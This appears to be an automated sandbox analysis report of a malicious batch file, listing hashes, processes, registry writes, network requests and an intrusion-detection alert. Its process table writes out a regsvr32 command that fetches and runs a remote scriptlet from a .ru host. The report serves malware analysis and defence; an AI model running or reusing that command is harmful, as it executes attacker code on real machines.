| File name: | mal.bat |
| Full analysis: | https://app.any.run/tasks/4ef76660-455f-4ec7-848d-89d9402ed790 |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | March 21, 2019, 10:30:42 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text |
| MD5: | D0C1AA17E7EFA09A83B55E85E86814D8 |
| SHA1: | D8EB08993D5490915266F54FA81FA4FD7BFE6437 |
| SHA256: | 5CB3099A9DD0A09FCA90A18B8E1B291BE0F2B8F690732F65491AE0B964EF3A0B |
| SSDEEP: | 3:FXeQV1eeVEkPCK5liNAXWSWJSASVAjJIlMPL/h:FXeCeEPCK7iSmJS2JHDh |
MALICIOUS
Runs remote scriptlet
- cmd.exe (PID: 2984)
- cmd.exe (PID: 3840)
SUSPICIOUS
Creates files in the user directory
- regsvr32.exe (PID: 3796)
- regsvr32.exe (PID: 2408)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
38
Monitored processes
4
Malicious processes
0
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2408 | C:\Windows\System32\regsvr32.exe /s /n /u /i:http://server1.39slxu3bw.ru/deploy.xml scrobj.dll | C:\Windows\System32\regsvr32.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Microsoft(C) Register Server Exit code: 5 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2984 | cmd /c ""C:\Users\admin\AppData\Local\Temp\mal.bat" " | C:\Windows\system32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 5 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3796 | C:\Windows\System32\regsvr32.exe /s /n /u /i:http://server1.39slxu3bw.ru/deploy.xml scrobj.dll | C:\Windows\System32\regsvr32.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft(C) Register Server Exit code: 5 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3840 | "C:\Windows\System32\cmd.exe" | C:\Windows\System32\cmd.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
78
Read events
54
Write events
24
Delete events
0
Modification events
| (PID) Process: | (3796) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3796) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3796) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3796) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3796) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (3796) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (3796) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3796) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3796) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3796) regsvr32.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
Executable files
0
Suspicious files
0
Text files
3
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3796 | regsvr32.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@server1.39slxu3bw[1].txt | text | |
MD5:— | SHA256:— | |||
| 2408 | regsvr32.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@39slxu3bw[2].txt | text | |
MD5:— | SHA256:— | |||
| 3796 | regsvr32.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@39slxu3bw[1].txt | text | |
MD5:— | SHA256:— | |||
| 3796 | regsvr32.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat | dat | |
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862 | SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
1
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2408 | regsvr32.exe | GET | 200 | 195.22.4.21:80 | http://server1.39slxu3bw.ru/deploy.xml | PT | binary | 20 b | malicious |
3796 | regsvr32.exe | GET | 200 | 195.22.4.21:80 | http://server1.39slxu3bw.ru/deploy.xml | PT | binary | 20 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3796 | regsvr32.exe | 195.22.4.21:80 | server1.39slxu3bw.ru | Claranet Ltd | PT | suspicious |
2408 | regsvr32.exe | 195.22.4.21:80 | server1.39slxu3bw.ru | Claranet Ltd | PT | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
server1.39slxu3bw.ru |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3796 | regsvr32.exe | A Network Trojan was detected | ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz |